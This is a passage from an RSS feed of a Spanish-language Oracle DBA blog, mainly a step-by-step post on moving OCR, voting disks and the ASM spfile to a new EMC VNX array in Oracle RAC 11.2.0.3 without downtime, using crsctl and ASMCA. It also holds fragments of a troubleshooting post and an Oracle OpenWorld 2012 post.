&lt;div&gt;Concluidos estos últimos pasos, por fin pudimos dar el problema por resuelto, todos felices. Lo que parecía inicialmente un problema que tomaría unos pocos minutos en resolver terminó tomando casi una hora, pero fue una excelente oportunidad para aprender y sentir nuevamente la emoción y satisfacción de poder resolver problemas, que es la principal razón por la que me dedico a este negocio en primer lugar. Será hasta la próxima amigos!!!&lt;/div&gt;&lt;br /&gt;
&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: medium;"&gt;Posts Relacionados:&lt;/span&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://blog.e-dba.biz/2014/05/optimizer-bug-8467123-5611962.html"&gt;Troubleshoot: optimizador confundido&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://blog.e-dba.biz/2014/06/enq-cf-contention.html"&gt;Troubleshoot: perdiendo el control&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;
&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;hr/&gt;
¿Te pareció interesante este artículo?, ¿te quedaron algunas dudas?, ¿quieres sugerirme un tema a tratar?, pues visita &lt;a href="http://enriqueorbegozo.blogspot.com"&gt;Snapshot Too Old&lt;/a&gt; y déjame tus comentarios y consultas.&lt;/div&gt;</description><link>http://blog.e-dba.biz/2014/04/ora-0600-kcrfresilverlog1-4193.html</link><author>noreply@blogger.com (Enrique Orbegozo)</author><thr:total>6</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-2932987194307539277.post-4979727620977230173</guid><pubDate>Sat, 27 Oct 2012 03:17:00 +0000</pubDate><atom:updated>2012-10-26T22:18:12.472-05:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">11gR2</category><category domain="http://www.blogger.com/atom/ns#">ASM</category><title>¿Cómo mover ocr y vdisk a nuevo disk array?</title><description>&lt;div&gt;No hace mucho, uno de mis clientes inició el proceso de migración de su disk storage system, desde &lt;b&gt;EMC CX4&lt;/b&gt; hacia &lt;b&gt;EMC VNX&lt;/b&gt;. Ellos tienen sus bases de datos operando con &lt;b&gt;Oracle RAC 11.2.0.3&lt;/b&gt;, por lo que siguieron el procedimiento de agregar LUNs del nuevo EMC VNX en los diskgroups de datos, para luego retirar los LUNs del antiguo EMC CX4, aprovechando el &lt;b&gt;rebalanceo automático&lt;/b&gt; que hace ASM al agregarle y removerle discos. Hasta aquí todo bien, pero quedaba el trabajo sobre el diskgroup que contiene el &lt;b&gt;ocr&lt;/b&gt;, &lt;b&gt;voting disks&lt;/b&gt; y &lt;b&gt;spfile&lt;/b&gt; de ASM, llamado en este caso &lt;b&gt;OCR&lt;/b&gt;, para el cual el procedimiento no es tan simple como agregar y retirar discos. A continuación les mostraré en detalle el procedimiento que seguí para concluir con este último paso en la migración de disk storage system para este diskgroup, cumpliendo el requerimiento expreso del cliente: &lt;b&gt;no suspender el servicio&lt;/b&gt;.&lt;/div&gt;
&lt;br /&gt;
&lt;span class="fullpost"&gt;
&lt;div&gt;Empezaré por mostrarles el escenario sobre el cual se trabajó:&lt;/div&gt;
&lt;br/&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjVTnBzPWAqL0-WvkfrlT94PzLb9z6ZWHS60KeSaJ7lHWJzuwwD7aShayAJf92wqkcOjNKi8x0huHKJdwE2GghDZinTjJT7wsUp6KfTITfWxCiLB2gYeoQOXPOeQn49Ve9_j1hZtjb5IeM/s1600/Diagrama.1.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="264" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjVTnBzPWAqL0-WvkfrlT94PzLb9z6ZWHS60KeSaJ7lHWJzuwwD7aShayAJf92wqkcOjNKi8x0huHKJdwE2GghDZinTjJT7wsUp6KfTITfWxCiLB2gYeoQOXPOeQn49Ve9_j1hZtjb5IeM/s320/Diagrama.1.jpg" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br/&gt;
&lt;div&gt;El diskgroup &lt;b&gt;OCR&lt;/b&gt; fue creado con redundancia &lt;b&gt;normal&lt;/b&gt;, por lo cual es requisito obligatorio emplear 3 discos. El objetivo es que sus contenidos sean ahora trasladados a 3 discos en el nuevo disk array, pero no se puede hacer directamente como en el caso de un diskgroup de datos, básicamente debido a los voting disk.&lt;/div&gt;
&lt;br/&gt;
&lt;div&gt;El &lt;b&gt;ocr&lt;/b&gt; y el &lt;b&gt;spfile&lt;/b&gt; de ASM son archivos que se distribuyen entre los discos que constituyen el diskgroup sobre el cual residen, pero Oracle crea un voting disk &lt;b&gt;idéntico&lt;/b&gt; en &lt;b&gt;cada disco&lt;/b&gt; del diskgroup. Así, al agregar mas discos al diskgroup, el ocr y el spfile son candidatos a ser redistribuidos entre todos los discos, pero los voting disk &lt;b&gt;no&lt;/b&gt;, se quedan en sus discos originales, por lo que requieren de un tratamiento especial.&lt;/div&gt;
&lt;br/&gt;
&lt;div&gt;
El Note &lt;b&gt;428681.1&lt;/b&gt;, &lt;i&gt;OCR / Vote disk Maintenance Operations: (ADD/REMOVE/REPLACE/MOVE)&lt;/i&gt;, tiene el detalle de lo que sebe hacer en diversos escenarios, de cuya lectura queda claro que no es posible agregar mas voting disks, sino solamente &lt;b&gt;moverlos&lt;/b&gt; a otro diskgroup. Por esta razón se solicitó la creación de 3 nuevos LUNs, sobre los cuales se crearía el diskgroup que albergaría temporalmente a los voting disk, de forma que quedara algo así:&lt;/div&gt;
&lt;br/&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgeOZDIIDE_qQcAT1RF-RfZ0QkYKL416-y2ZClapZeVMVLSAFUvuW6WCnGXbbtq_qSn6fBphb9nqdstNgTFZ2SNcwD0870zGvtw17O3musIvjhsITzkmx6QIQU-n38JQU0_N8aGKIjbtbU/s1600/Diagrama.2.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="217" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgeOZDIIDE_qQcAT1RF-RfZ0QkYKL416-y2ZClapZeVMVLSAFUvuW6WCnGXbbtq_qSn6fBphb9nqdstNgTFZ2SNcwD0870zGvtw17O3musIvjhsITzkmx6QIQU-n38JQU0_N8aGKIjbtbU/s320/Diagrama.2.jpg" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br/&gt;
&lt;div&gt;Luego que los LUNs estuvieron provisionados y debidamente asignados a todos los nodos del RAC, se procedió a la creación del diskgroup &lt;b&gt;VDISK&lt;/b&gt;, mediante el utilitario &lt;b&gt;ASMCA&lt;/b&gt;.&lt;/div&gt;
&lt;br/&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgBLOirZr97xkfFMxccD7amvqNi9gVuXQqepcqnaX63RDNBdBvcsuB2EocPzDDfaW8Q0Zahr0DjlvaN8caSt1GC13_-wqJfLbMnRe0QWEy4Gu0ixEfooOar8kc93zZMIAPw7DVdSAT1FcI/s1600/ocr.01.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="219" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgBLOirZr97xkfFMxccD7amvqNi9gVuXQqepcqnaX63RDNBdBvcsuB2EocPzDDfaW8Q0Zahr0DjlvaN8caSt1GC13_-wqJfLbMnRe0QWEy4Gu0ixEfooOar8kc93zZMIAPw7DVdSAT1FcI/s320/ocr.01.jpg" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br/&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh8DP-17VmBsRNlVNtKtMLUm0lhg37iU9gY1JBbx4tn2mFTGNg46X1esQrQzc892gIDPFeOjfOA3RvR8uALr1ERWN5oOmjN6bGnntpYjW0ZBW3K41WFwEUk2Z69Na2idQ_6fmEkScqnU9I/s1600/ocr.02.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="300" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh8DP-17VmBsRNlVNtKtMLUm0lhg37iU9gY1JBbx4tn2mFTGNg46X1esQrQzc892gIDPFeOjfOA3RvR8uALr1ERWN5oOmjN6bGnntpYjW0ZBW3K41WFwEUk2Z69Na2idQ_6fmEkScqnU9I/s320/ocr.02.jpg" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br/&gt;
&lt;div&gt;Con esto ya estamos listos para el paso inicial: el movimiento de &lt;b&gt;voting disks&lt;/b&gt;.&lt;/div&gt;
&lt;br/&gt;
&lt;pre class="codigo"&gt;[oracle@rac1]$ crsctl query css votedisk
##  STATE    File Universal Id                File Name Disk group
--  -----    -----------------                --------- ---------
 1. ONLINE   1e56372cc94a4f92bfd9952beef36a5b (/dev/rhdiskpower3) [OCR]
 2. ONLINE   570dd695f7ea4f08bf86d92adc2a2343 (/dev/rhdiskpower1) [OCR]
 3. ONLINE   027f719d79914f72bfc1fdfb3098209b (/dev/rhdiskpower2) [OCR]
Located 3 voting disk(s).

[oracle@rac1]$ crsctl replace votedisk &lt;b&gt;+VDISK&lt;/b&gt;
Successful addition of voting disk 42cd3a1355714febbf8b8be58da5d277.
Successful addition of voting disk 95b0b904a7844f6bbf35881a7fd545f6.
Successful addition of voting disk 189d6f4cba754fc6bf1d8f94fd70fe89.
Successful deletion of voting disk 1e56372cc94a4f92bfd9952beef36a5b.
Successful deletion of voting disk 570dd695f7ea4f08bf86d92adc2a2343.
Successful deletion of voting disk 027f719d79914f72bfc1fdfb3098209b.
&lt;b&gt;Successfully replaced voting disk group with +VDISK.&lt;/b&gt;
CRS-4266: Voting file(s) successfully replaced

[oracle@rac1]$ crsctl query css votedisk
##  STATE    File Universal Id                File Name Disk group
--  -----    -----------------                --------- ---------
 1. ONLINE   42cd3a1355714febbf8b8be58da5d277 (/dev/rhdiskpower57) &lt;span style="color: red; font-weight: bold;"&gt;[VDISK]&lt;/span&gt;
 2. ONLINE   95b0b904a7844f6bbf35881a7fd545f6 (/dev/rhdiskpower130) &lt;span style="color: red; font-weight: bold;"&gt;[VDISK]&lt;/span&gt;
 3. ONLINE   189d6f4cba754fc6bf1d8f94fd70fe89 (/dev/rhdiskpower90) &lt;span style="color: red; font-weight: bold;"&gt;[VDISK]&lt;/span&gt;
Located 3 voting disk(s).
&lt;/pre&gt;
&lt;br/&gt;
&lt;div&gt;Ayudados con el utilitario &lt;b&gt;crsctl&lt;/b&gt;, hemos trasladado los voting disks desde el diskgroup &lt;b&gt;OCR&lt;/b&gt; hacia el diskgroup &lt;b&gt;VDISK&lt;/b&gt;, siendo el escenario actual:&lt;/div&gt;
&lt;br/&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiYm-dA39dU681YoEWly-ZXlePDyK6fsM0xvrBjpFSDdM3cQmaxY_dOOdaG40m1RM0_9NoAP1fsu9nloxbiK2wn3YegomO8LDpQHq8xXS33lMpmmqGiV7AZ_IBaMBpDp4TcdvQPY8KbK_A/s1600/Diagrama.2.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="217" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiYm-dA39dU681YoEWly-ZXlePDyK6fsM0xvrBjpFSDdM3cQmaxY_dOOdaG40m1RM0_9NoAP1fsu9nloxbiK2wn3YegomO8LDpQHq8xXS33lMpmmqGiV7AZ_IBaMBpDp4TcdvQPY8KbK_A/s320/Diagrama.2.jpg" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br/&gt;
&lt;div&gt;Ahora que el diskgroup &lt;b&gt;OCR&lt;/b&gt; contiene solamente el &lt;b&gt;ocr&lt;/b&gt; y el &lt;b&gt;spfile&lt;/b&gt; de ASM, ya es posible recurrir al &lt;b&gt;rebalanceo&lt;/b&gt; de ASM, por lo que procedemos a agregarle los LUNs provisionados en el disk array &lt;b&gt;nuevo&lt;/b&gt;, empleando nuevamente el utilitario &lt;b&gt;ASMCA&lt;/b&gt;.&lt;/div&gt;
&lt;br/&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh1CULnMaLjqsmpecUVWMbpGjD7qGVzRigXGDJoN0xC72BSzuQWXotwKZxW-s_VkY8mIJxbJPnZpsnJ8RPgufoW-wz7BwuBBibW8xGzV5KcLZby2NBuYAThklLjkZlMYbO6IngMQs0BVNo/s1600/ocr.03.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="215" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh1CULnMaLjqsmpecUVWMbpGjD7qGVzRigXGDJoN0xC72BSzuQWXotwKZxW-s_VkY8mIJxbJPnZpsnJ8RPgufoW-wz7BwuBBibW8xGzV5KcLZby2NBuYAThklLjkZlMYbO6IngMQs0BVNo/s320/ocr.03.jpg" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br/&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj1NvMNFjPUEcq11zyquJtwABvEfYklMs9KcAtYXic3g6h_L9LA6DFGJA7Vna0CNrTLnsGTTk3sYoCX3TwiRfQzFB_HThNOfT2dRrIFA6Hnz0G_rZ5AzeVs5YDXyStcgkCrQ0RaITLIGvY/s1600/ocr.04.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="215" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj1NvMNFjPUEcq11zyquJtwABvEfYklMs9KcAtYXic3g6h_L9LA6DFGJA7Vna0CNrTLnsGTTk3sYoCX3TwiRfQzFB_HThNOfT2dRrIFA6Hnz0G_rZ5AzeVs5YDXyStcgkCrQ0RaITLIGvY/s320/ocr.04.jpg" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br/&gt;
&lt;div&gt;Luego de agregar los 3 LUNs del nuevo disk array, la configuración es:&lt;/div&gt;
&lt;br/&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhyi35LDa8UROBJNJDsRLzWZWwAdvt2UjmUVcIseed-PkQUAv4FqbiM4nelNcCnx0NEbbYnU5fLIOB310k8eep8gjzj9EYl2Fci4xroNCJTxjRl_uxzOffUkdVzuLV_yUPx4hFJ35c_mDc/s1600/Diagrama.3.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="161" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhyi35LDa8UROBJNJDsRLzWZWwAdvt2UjmUVcIseed-PkQUAv4FqbiM4nelNcCnx0NEbbYnU5fLIOB310k8eep8gjzj9EYl2Fci4xroNCJTxjRl_uxzOffUkdVzuLV_yUPx4hFJ35c_mDc/s320/Diagrama.3.jpg" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br/&gt;
&lt;div&gt;Ahora ya es posible retirar los discos del disk array &lt;b&gt;antiguo&lt;/b&gt;, siempre apoyados con &lt;b&gt;ASMCA&lt;/b&gt;.&lt;/div&gt;
&lt;br/&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiJdCcTpcGvFJ9k8RE3Zj65LyVhXt6y_VoYXDy8Lbofg8NsqzMvy9fJP02Ht79wedKIAVkYR3GOOYxBY1JT8ZyEkrxV6Lo4DmWQ7NidPLYsdJCHBXKHuDqZzGwRHg0RGIGBBMUY9qjMaw8/s1600/ocr.05.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="215" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiJdCcTpcGvFJ9k8RE3Zj65LyVhXt6y_VoYXDy8Lbofg8NsqzMvy9fJP02Ht79wedKIAVkYR3GOOYxBY1JT8ZyEkrxV6Lo4DmWQ7NidPLYsdJCHBXKHuDqZzGwRHg0RGIGBBMUY9qjMaw8/s320/ocr.05.jpg" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br/&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgeEfDiW-w30Of7tPufYjRtf9ZeVaIOlVg_C3TO8_U0QqPNgUGT-jsfa3TSc4lU7hHq5Krzgx16SLoBK9Nct2Mte3gEyXbdQ_FD9Tc8XAQ6Nb2-sNvWabI1V9Cs4_LSlEhMLF8fVZa_qx4/s1600/ocr.06.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="215" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgeEfDiW-w30Of7tPufYjRtf9ZeVaIOlVg_C3TO8_U0QqPNgUGT-jsfa3TSc4lU7hHq5Krzgx16SLoBK9Nct2Mte3gEyXbdQ_FD9Tc8XAQ6Nb2-sNvWabI1V9Cs4_LSlEhMLF8fVZa_qx4/s320/ocr.06.jpg" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br/&gt;
&lt;div&gt;Con los LUNs antiguos ya removidos, la nueva situación es:&lt;/div&gt;
&lt;br/&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjXqTIQraFYdUbqEHN0qJ7yRVlxkXhOyP3amSbE6rS3X0zn7NKCm51TWERDQE9hjOID1Du1O2KrUKEOnfj98aoPUo7SZ_7zEbeyX8fZUHnBh6iaI3SXPoSrNktJn16FMy1CZ1RSsIzu0rw/s1600/Diagrama.4.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="217" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjXqTIQraFYdUbqEHN0qJ7yRVlxkXhOyP3amSbE6rS3X0zn7NKCm51TWERDQE9hjOID1Du1O2KrUKEOnfj98aoPUo7SZ_7zEbeyX8fZUHnBh6iaI3SXPoSrNktJn16FMy1CZ1RSsIzu0rw/s320/Diagrama.4.jpg" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br/&gt;
&lt;div&gt;Ahora que los contenidos del diskgroup &lt;b&gt;OCR&lt;/b&gt; residen exclusivamente sobre LUNs del nuevo array disk, es hora de &lt;b&gt;retornar&lt;/b&gt; los voting disks a su diskgroup original.&lt;/div&gt;
&lt;br/&gt;
&lt;pre class="codigo"&gt;[oracle@rac1]$ crsctl replace votedisk &lt;b&gt;+OCR&lt;/b&gt;
Successful addition of voting disk 5385fdac3eb44f96bf206fc7cce7fe48.
Successful addition of voting disk a4a5d6afbd064fa2bffe306654b0f3ac.
Successful addition of voting disk 2cbc13a0ff444fd7bf79670b75fe42c4.
Successful deletion of voting disk 42cd3a1355714febbf8b8be58da5d277.
Successful deletion of voting disk 95b0b904a7844f6bbf35881a7fd545f6.
Successful deletion of voting disk 189d6f4cba754fc6bf1d8f94fd70fe89.
&lt;b&gt;Successfully replaced voting disk group with +OCR.&lt;/b&gt;
CRS-4266: Voting file(s) successfully replaced

[oracle@rac1]$ crsctl query css votedisk
##  STATE    File Universal Id                File Name Disk group
--  -----    -----------------                --------- ---------
 1. ONLINE   5385fdac3eb44f96bf206fc7cce7fe48 (/dev/rhdiskpower1002) &lt;span style="color: red; font-weight: bold;"&gt;[OCR]&lt;/span&gt;
 2. ONLINE   a4a5d6afbd064fa2bffe306654b0f3ac (/dev/rhdiskpower1001) &lt;span style="color: red; font-weight: bold;"&gt;[OCR]&lt;/span&gt;
 3. ONLINE   2cbc13a0ff444fd7bf79670b75fe42c4 (/dev/rhdiskpower1000) &lt;span style="color: red; font-weight: bold;"&gt;[OCR]&lt;/span&gt;
Located 3 voting disk(s).
&lt;/pre&gt;
&lt;br/&gt;
&lt;div&gt;Finalmente hemos llegado al siguiente escenario:&lt;/div&gt;
&lt;br/&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhdI4nulO60BnujXTm9FHg01DFxqbOg5wmxorEfxkZFnam1wImL-YvIJ1GJ3GxHqYY6M4sR5nvSTI1qU2FbT4dvqL3BzQlZ8uLuT0ypoeCRxMOVtGRxZtmnFKK6LRv-brDKDwtREDMo94Q/s1600/Diagrama.5.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="114" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhdI4nulO60BnujXTm9FHg01DFxqbOg5wmxorEfxkZFnam1wImL-YvIJ1GJ3GxHqYY6M4sR5nvSTI1qU2FbT4dvqL3BzQlZ8uLuT0ypoeCRxMOVtGRxZtmnFKK6LRv-brDKDwtREDMo94Q/s320/Diagrama.5.jpg" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br/&gt;
&lt;div&gt;En este momento ya tenemos tanto el &lt;b&gt;ocr&lt;/b&gt;, el &lt;b&gt;spfile&lt;/b&gt; y los voting disks en el diskgroup &lt;b&gt;OCR&lt;/b&gt;, usando únicamente LUNs del nuevo disk storage system &lt;b&gt;EMC VNX&lt;/b&gt;, por lo que es posible eliminar el diskgroup &lt;b&gt;VDISK&lt;/b&gt;, ya no necesitamos más de él.&lt;/div&gt;
&lt;br/&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEggKBxIXikaEXK6F_9XC8iH0KqHpMoK9J0mdf_7_6WVpsodN12MOkilBiY5XZAlZUsTPz5kpQeYdxOG77q8ub5P72McREfC_6ccnSI-OVL_sbYCqevs-uoE6zsoh_5Xl7iAjzV9wj_TAQQ/s1600/ocr.07.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="215" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEggKBxIXikaEXK6F_9XC8iH0KqHpMoK9J0mdf_7_6WVpsodN12MOkilBiY5XZAlZUsTPz5kpQeYdxOG77q8ub5P72McREfC_6ccnSI-OVL_sbYCqevs-uoE6zsoh_5Xl7iAjzV9wj_TAQQ/s320/ocr.07.jpg" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgBLOirZr97xkfFMxccD7amvqNi9gVuXQqepcqnaX63RDNBdBvcsuB2EocPzDDfaW8Q0Zahr0DjlvaN8caSt1GC13_-wqJfLbMnRe0QWEy4Gu0ixEfooOar8kc93zZMIAPw7DVdSAT1FcI/s1600/ocr.01.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="219" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgBLOirZr97xkfFMxccD7amvqNi9gVuXQqepcqnaX63RDNBdBvcsuB2EocPzDDfaW8Q0Zahr0DjlvaN8caSt1GC13_-wqJfLbMnRe0QWEy4Gu0ixEfooOar8kc93zZMIAPw7DVdSAT1FcI/s320/ocr.01.jpg" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;Con esto podemos dar por &lt;b&gt;concluida&lt;/b&gt; la tarea de movimiento de los contenidos del diskgroup &lt;b&gt;OCR&lt;/b&gt; (ocr, voting disks, spfile de ASM), hacia el nuevo disk array EMC VNX, sin suspensión alguna del servicio y en muy pocos minutos. Desde luego, el procedimiento fue &lt;b&gt;previamente probado&lt;/b&gt; en un ambiente virtualizado, pues una cosa es lo que dice la documentación y otra la que pasa en la vida real, por lo que es &lt;b&gt;altamente recomendable&lt;/b&gt; que Uds. tambien lo hagan, recuerden que cada instalacion tiene su particularidades, así que mejor no correr riesgos innecesarios. Será hasta la próxima amigos!&lt;/div&gt;
&lt;br /&gt;
&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: medium;"&gt;Post Relacionados:&lt;/span&gt;
&lt;br /&gt;
&lt;ul&gt;&lt;li&gt;&lt;a href=http://blog.e-dba.biz/2009/04/asm-series-upgrade-register-oem.html"&gt;Actualizando ASM y registrándolo en OEM&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://blog.e-dba.biz/2009/02/asm-series-installation-asmlib.html"&gt;Bye bye raw device, ¡bienvenido ASM!&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://blog.e-dba.biz/2009/03/asm-series-migrating-db.html"&gt;Trasladando la Base de Datos hacia ASM&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://blog.e-dba.biz/2009/03/asm-series-migrating-db-using-oem.html"&gt;Migrando la base de datos a ASM, la forma fácil&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;i&gt;&lt;/i&gt;&lt;i&gt;&lt;/i&gt;
&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;hr/&gt;
¿Te pareció interesante este artículo?, ¿te quedaron algunas dudas?, ¿quieres sugerirme un tema a tratar?, pues visita &lt;a href="http://enriqueorbegozo.blogspot.com"&gt;Snapshot Too Old&lt;/a&gt; y déjame tus comentarios y consultas.&lt;/div&gt;</description><link>http://blog.e-dba.biz/2012/10/move-ocr-vdisk-asm-rac-112.html</link><author>noreply@blogger.com (Enrique Orbegozo)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" height="72" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjVTnBzPWAqL0-WvkfrlT94PzLb9z6ZWHS60KeSaJ7lHWJzuwwD7aShayAJf92wqkcOjNKi8x0huHKJdwE2GghDZinTjJT7wsUp6KfTITfWxCiLB2gYeoQOXPOeQn49Ve9_j1hZtjb5IeM/s72-c/Diagrama.1.jpg" width="72"/><thr:total>2</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-2932987194307539277.post-7793649037188193862</guid><pubDate>Fri, 28 Sep 2012 01:57:00 +0000</pubDate><atom:updated>2012-09-27T21:01:54.728-05:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">News</category><title>OOW 2012, allá voy!</title><description>&lt;div&gt;
Cada año se realiza el &lt;b&gt;Oracle Open World&lt;/b&gt;, al cual somos cordialmente invitados todos los &lt;b&gt;Oracle ACE&lt;/b&gt;. Pero nunca faltaba algún contratiempo (léase proyecto en marcha con plazos ajustados) que me obligaba a postergar mi asistencia, pero al iniciar este año tomé la decisión de asistir &lt;b&gt;sí o sí&lt;/b&gt;.&lt;/div&gt;&lt;br /&gt;
&lt;span class="fullpost"&gt;
&lt;div&gt;
Desde Junio hice la compra de los respectivos boletos de avión, que -gracias a los KM acumulados- me salieron gratis! Y ya que entraba en la onda del &lt;i&gt;low budget&lt;/i&gt;, opté por reservar habitación en el &lt;b&gt;Park Hotel&lt;/b&gt; de San Francisco, por solo US$450 la semana!, una ganga considerando que en San Francisco no es nada barato el alojamiento, y más aún cuando 50,000 personas llegan de golpe casi el mismo día y pugnan por tener un alojamiento cercano al &lt;b&gt;Moscone Center&lt;/b&gt;, lugar donde se desarrolla el OOW, y el Park Plaza está a unas pocas cuadras, tan cerca que puedo llegar incluso a pie.&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;
Resuelto el problema de cómo llegar y dónde alojarme, venía la tarea de escoger entre los cientos de presentaciones disponibles, tarea nada fácil desde luego. Luego de revisar y revisar, terminé seleccionando lo que me pareció más cercano a lo que vengo desarrollando regularmente: &lt;b&gt;Tuning de Base de Datos y Aplicaciones&lt;/b&gt;, y soluciones de &lt;b&gt;Alta Disponibilidad y Contingencia&lt;/b&gt;.&lt;/div&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;/div&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiALXqnh067FY2ftOcBmzy05iilqJpBg3yqeVFB6nbkZuFS7Kr4q0XYH0DAAqGTs88liI8lbam1namDdyTveZsLHatlBJbPwcopj_WI2nQzoY_d0wwT0ecbKGdndwuqQ8lgebyfdTjMuf4H/s1600/oow2012.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img alt="My Schedule" border="0" height="640" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiALXqnh067FY2ftOcBmzy05iilqJpBg3yqeVFB6nbkZuFS7Kr4q0XYH0DAAqGTs88liI8lbam1namDdyTveZsLHatlBJbPwcopj_WI2nQzoY_d0wwT0ecbKGdndwuqQ8lgebyfdTjMuf4H/s640/oow2012.jpg" title="My Schedule" width="504" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;
